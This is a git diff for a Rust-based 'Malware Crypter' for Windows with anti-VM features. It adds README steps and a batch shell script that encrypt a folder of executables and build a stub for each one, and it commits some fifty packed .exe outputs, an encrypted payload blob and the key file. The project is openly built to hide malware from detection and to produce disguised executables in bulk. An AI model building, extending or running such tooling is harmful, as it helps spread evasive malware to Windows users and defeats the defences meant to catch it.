diff --git a/README.md b/README.md index ed4fddb..5c77b94 100644 --- a/README.md +++ b/README.md @@ -2,12 +2,19 @@ x86-64 Malware Crypter built in Rust for Windows with Anti-VM, powered by memexec ## Usage -1. Put your Portable Executable in /crypt/ -2. In /crypt/ `cargo run ` -(will output encrypted_bytes.bin and key.txt) -3. move encrypted_bytes.bin and key.txt to /stub/src/ -4. In /stub/ `cargo build --target x86_64-pc-windows-gnu --release` or build without `--release` to keep debug symbols -5. compiled exe will be in /stub/target/debug/ named "stub.exe" + +### Single File +1. Put your .exe in `/crypt/` +2. `cd crypt && cargo run ` +3. `mv encrypted_Input.bin key.txt ../stub/src/` +4. `cd ../stub && cargo build --target x86_64-pc-windows-gnu --release` +5. Your encrypted exe is in `stub/target/x86_64-pc-windows-gnu/release/stub.exe` + +### Batch Processing (Multiple Files) +```bash +./batch.sh /path/to/folder/with/exe/files +``` +Output: `batch_output/` folder with `{filename}_encrypted.exe` files ### Supported targets - Windows x86-64 diff --git a/batch_output/10_encrypted.exe b/batch_output/10_encrypted.exe new file mode 100755 index 0000000..d80b758 Binary files /dev/null and b/batch_output/10_encrypted.exe differ diff --git a/batch_output/11_encrypted.exe b/batch_output/11_encrypted.exe new file mode 100755 index 0000000..1b087c4 Binary files /dev/null and b/batch_output/11_encrypted.exe differ diff --git a/batch_output/12_encrypted.exe b/batch_output/12_encrypted.exe new file mode 100755 index 0000000..f3752e1 Binary files /dev/null and b/batch_output/12_encrypted.exe differ diff --git a/batch_output/13_encrypted.exe b/batch_output/13_encrypted.exe new file mode 100755 index 0000000..8112a53 Binary files /dev/null and b/batch_output/13_encrypted.exe differ diff --git a/batch_output/14_encrypted.exe b/batch_output/14_encrypted.exe new file mode 100755 index 0000000..d6e287d Binary files /dev/null and b/batch_output/14_encrypted.exe differ diff --git a/batch_output/15_encrypted.exe b/batch_output/15_encrypted.exe new file mode 100755 index 0000000..02309bd Binary files /dev/null and b/batch_output/15_encrypted.exe differ diff --git a/batch_output/16_encrypted.exe b/batch_output/16_encrypted.exe new file mode 100755 index 0000000..66993f7 Binary files /dev/null and b/batch_output/16_encrypted.exe differ diff --git a/batch_output/17_encrypted.exe b/batch_output/17_encrypted.exe new file mode 100755 index 0000000..68b8aaa Binary files /dev/null and b/batch_output/17_encrypted.exe differ diff --git a/batch_output/18_encrypted.exe b/batch_output/18_encrypted.exe new file mode 100755 index 0000000..522a9ec Binary files /dev/null and b/batch_output/18_encrypted.exe differ diff --git a/batch_output/19_encrypted.exe b/batch_output/19_encrypted.exe new file mode 100755 index 0000000..3a8ac01 Binary files /dev/null and b/batch_output/19_encrypted.exe differ diff --git a/batch_output/1_encrypted.exe b/batch_output/1_encrypted.exe new file mode 100755 index 0000000..6f56e72 Binary files /dev/null and b/batch_output/1_encrypted.exe differ diff --git a/batch_output/20_encrypted.exe b/batch_output/20_encrypted.exe new file mode 100755 index 0000000..365b69f Binary files /dev/null and b/batch_output/20_encrypted.exe differ diff --git a/batch_output/21_encrypted.exe b/batch_output/21_encrypted.exe new file mode 100755 index 0000000..c0701b2 Binary files /dev/null and b/batch_output/21_encrypted.exe differ diff --git a/batch_output/22_encrypted.exe b/batch_output/22_encrypted.exe new file mode 100755 index 0000000..0b8eb89 Binary files /dev/null and b/batch_output/22_encrypted.exe differ diff --git a/batch_output/23_encrypted.exe b/batch_output/23_encrypted.exe new file mode 100755 index 0000000..4a4157c Binary files /dev/null and b/batch_output/23_encrypted.exe differ diff --git a/batch_output/24_encrypted.exe b/batch_output/24_encrypted.exe new file mode 100755 index 0000000..7b71b20 Binary files /dev/null and b/batch_output/24_encrypted.exe differ diff --git a/batch_output/25_encrypted.exe b/batch_output/25_encrypted.exe new file mode 100755 index 0000000..33c1ff5 Binary files /dev/null and b/batch_output/25_encrypted.exe differ diff --git a/batch_output/26_encrypted.exe b/batch_output/26_encrypted.exe new file mode 100755 index 0000000..df08eb9 Binary files /dev/null and b/batch_output/26_encrypted.exe differ diff --git a/batch_output/27_encrypted.exe b/batch_output/27_encrypted.exe new file mode 100755 index 0000000..188cf69 Binary files /dev/null and b/batch_output/27_encrypted.exe differ diff --git a/batch_output/28_encrypted.exe b/batch_output/28_encrypted.exe new file mode 100755 index 0000000..8b3e5b9 Binary files /dev/null and b/batch_output/28_encrypted.exe differ diff --git a/batch_output/29_encrypted.exe b/batch_output/29_encrypted.exe new file mode 100755 index 0000000..488b118 Binary files /dev/null and b/batch_output/29_encrypted.exe differ diff --git a/batch_output/2_encrypted.exe b/batch_output/2_encrypted.exe new file mode 100755 index 0000000..57b881b Binary files /dev/null and b/batch_output/2_encrypted.exe differ diff --git a/batch_output/30_encrypted.exe b/batch_output/30_encrypted.exe new file mode 100755 index 0000000..f784965 Binary files /dev/null and b/batch_output/30_encrypted.exe differ diff --git a/batch_output/31_encrypted.exe b/batch_output/31_encrypted.exe new file mode 100755 index 0000000..8c7b430 Binary files /dev/null and b/batch_output/31_encrypted.exe differ diff --git a/batch_output/32_encrypted.exe b/batch_output/32_encrypted.exe new file mode 100755 index 0000000..da1c056 Binary files /dev/null and b/batch_output/32_encrypted.exe differ diff --git a/batch_output/33_encrypted.exe b/batch_output/33_encrypted.exe new file mode 100755 index 0000000..327e51e Binary files /dev/null and b/batch_output/33_encrypted.exe differ diff --git a/batch_output/34_encrypted.exe b/batch_output/34_encrypted.exe new file mode 100755 index 0000000..822e77f Binary files /dev/null and b/batch_output/34_encrypted.exe differ diff --git a/batch_output/35_encrypted.exe b/batch_output/35_encrypted.exe new file mode 100755 index 0000000..e24d7ac Binary files /dev/null and b/batch_output/35_encrypted.exe differ diff --git a/batch_output/36_encrypted.exe b/batch_output/36_encrypted.exe new file mode 100755 index 0000000..9d2e851 Binary files /dev/null and b/batch_output/36_encrypted.exe differ diff --git a/batch_output/37_encrypted.exe b/batch_output/37_encrypted.exe new file mode 100755 index 0000000..e81bacc Binary files /dev/null and b/batch_output/37_encrypted.exe differ diff --git a/batch_output/38_encrypted.exe b/batch_output/38_encrypted.exe new file mode 100755 index 0000000..032b676 Binary files /dev/null and b/batch_output/38_encrypted.exe differ diff --git a/batch_output/39_encrypted.exe b/batch_output/39_encrypted.exe new file mode 100755 index 0000000..35c59f1 Binary files /dev/null and b/batch_output/39_encrypted.exe differ diff --git a/batch_output/3_encrypted.exe b/batch_output/3_encrypted.exe new file mode 100755 index 0000000..3beab7d Binary files /dev/null and b/batch_output/3_encrypted.exe differ diff --git a/batch_output/40_encrypted.exe b/batch_output/40_encrypted.exe new file mode 100755 index 0000000..35b7dd2 Binary files /dev/null and b/batch_output/40_encrypted.exe differ diff --git a/batch_output/41_encrypted.exe b/batch_output/41_encrypted.exe new file mode 100755 index 0000000..a2596c4 Binary files /dev/null and b/batch_output/41_encrypted.exe differ diff --git a/batch_output/42_encrypted.exe b/batch_output/42_encrypted.exe new file mode 100755 index 0000000..9fc17b8 Binary files /dev/null and b/batch_output/42_encrypted.exe differ diff --git a/batch_output/43_encrypted.exe b/batch_output/43_encrypted.exe new file mode 100755 index 0000000..a45f568 Binary files /dev/null and b/batch_output/43_encrypted.exe differ diff --git a/batch_output/44_encrypted.exe b/batch_output/44_encrypted.exe new file mode 100755 index 0000000..b584242 Binary files /dev/null and b/batch_output/44_encrypted.exe differ diff --git a/batch_output/45_encrypted.exe b/batch_output/45_encrypted.exe new file mode 100755 index 0000000..25e908e Binary files /dev/null and b/batch_output/45_encrypted.exe differ diff --git a/batch_output/46_encrypted.exe b/batch_output/46_encrypted.exe new file mode 100755 index 0000000..b66df8e Binary files /dev/null and b/batch_output/46_encrypted.exe differ diff --git a/batch_output/47_encrypted.exe b/batch_output/47_encrypted.exe new file mode 100755 index 0000000..08b69ce Binary files /dev/null and b/batch_output/47_encrypted.exe differ diff --git a/batch_output/48_encrypted.exe b/batch_output/48_encrypted.exe new file mode 100755 index 0000000..f3567d5 Binary files /dev/null and b/batch_output/48_encrypted.exe differ diff --git a/batch_output/49_encrypted.exe b/batch_output/49_encrypted.exe new file mode 100755 index 0000000..76e7c03 Binary files /dev/null and b/batch_output/49_encrypted.exe differ diff --git a/batch_output/4_encrypted.exe b/batch_output/4_encrypted.exe new file mode 100755 index 0000000..cd29ddb Binary files /dev/null and b/batch_output/4_encrypted.exe differ diff --git a/batch_output/50_encrypted.exe b/batch_output/50_encrypted.exe new file mode 100755 index 0000000..6db1b29 Binary files /dev/null and b/batch_output/50_encrypted.exe differ diff --git a/batch_output/5_encrypted.exe b/batch_output/5_encrypted.exe new file mode 100755 index 0000000..1dac801 Binary files /dev/null and b/batch_output/5_encrypted.exe differ diff --git a/batch_output/6_encrypted.exe b/batch_output/6_encrypted.exe new file mode 100755 index 0000000..caf1b1e Binary files /dev/null and b/batch_output/6_encrypted.exe differ diff --git a/batch_output/7_encrypted.exe b/batch_output/7_encrypted.exe new file mode 100755 index 0000000..677eac6 Binary files /dev/null and b/batch_output/7_encrypted.exe differ diff --git a/batch_output/8_encrypted.exe b/batch_output/8_encrypted.exe new file mode 100755 index 0000000..44e05f7 Binary files /dev/null and b/batch_output/8_encrypted.exe differ diff --git a/batch_output/9_encrypted.exe b/batch_output/9_encrypted.exe new file mode 100755 index 0000000..f1566b3 Binary files /dev/null and b/batch_output/9_encrypted.exe differ diff --git a/crypt/src/main.rs b/crypt/src/main.rs index cc87016..b587580 100644 --- a/crypt/src/main.rs +++ b/crypt/src/main.rs @@ -19,6 +19,7 @@ fn main() -> std::io::Result<()> { let fname = args.get(1).unwrap(); let plaintext_bytes = read(fname).expect("Failed to read file"); + // Create output files with consistent naming let mut encrypted_file = File::create("encrypted_Input.bin")?; let mut key_file = File::create("key.txt")?; diff --git a/crypt/test_file.exe b/crypt/test_file.exe new file mode 100755 index 0000000..b389c9c Binary files /dev/null and b/crypt/test_file.exe differ diff --git a/simple_batch.sh b/simple_batch.sh new file mode 100755 index 0000000..5ff0972 --- /dev/null +++ b/simple_batch.sh @@ -0,0 +1,69 @@ +#!/bin/bash + +# Simple batch script that follows the exact README steps for each file +# Usage: ./simple_batch.sh /path/to/folder/with/exe/files + +INPUT_FOLDER="$1" +OUTPUT_DIR="batch_output" + +if [[ -z "$INPUT_FOLDER" ]]; then + echo "Usage: $0 /path/to/folder/with/exe/files" + exit 1 +fi + +if [[ ! -d "$INPUT_FOLDER" ]]; then + echo "Error: Folder '$INPUT_FOLDER' does not exist" + exit 1 +fi + +# Create output directory +mkdir -p "$OUTPUT_DIR" + +echo "Processing files from: $INPUT_FOLDER" +echo "Output directory: $OUTPUT_DIR" + +# Process each file +for file in "$INPUT_FOLDER"/*; do + if [[ ! -f "$file" ]]; then + continue + fi + + # Skip files with extensions other than .exe or no extension + if [[ "$file" == *.* && "$file" != *.exe ]]; then + continue + fi + + filename=$(basename "$file") + basename="${filename%.*}" + + echo "Processing: $filename" + + # Step 1: Copy file to /crypt/ + cp "$file" crypt/ + + # Step 2: Run cargo run in /crypt/ + echo " Encrypting..." + cd crypt + cargo run "$filename" + cd .. + + # Step 3: Move encrypted files to /stub/src/ + mv crypt/encrypted_Input.bin stub/src/ + mv crypt/key.txt stub/src/ + + # Step 4: Build the stub + echo " Building stub..." + cd stub + cargo build --target x86_64-pc-windows-gnu --release + cd .. + + # Step 5: Copy the compiled exe to output directory + cp stub/target/x86_64-pc-windows-gnu/release/stub.exe "$OUTPUT_DIR/${basename}_encrypted.exe" + + # Clean up + rm -f crypt/"$filename" + + echo " ✓ Created: $OUTPUT_DIR/${basename}_encrypted.exe" +done + +echo "Batch processing complete! Check $OUTPUT_DIR for results." diff --git a/stub/src/encrypted_Input.bin b/stub/src/encrypted_Input.bin new file mode 100644 index 0000000..b2e52bf Binary files /dev/null and b/stub/src/encrypted_Input.bin differ diff --git a/stub/src/key.txt b/stub/src/key.txt new file mode 100644 index 0000000..39d3d2f --- /dev/null +++ b/stub/src/key.txt @@ -0,0 +1 @@ +¢÷µ¸ónøšƒ–úÑi› \ No newline at end of file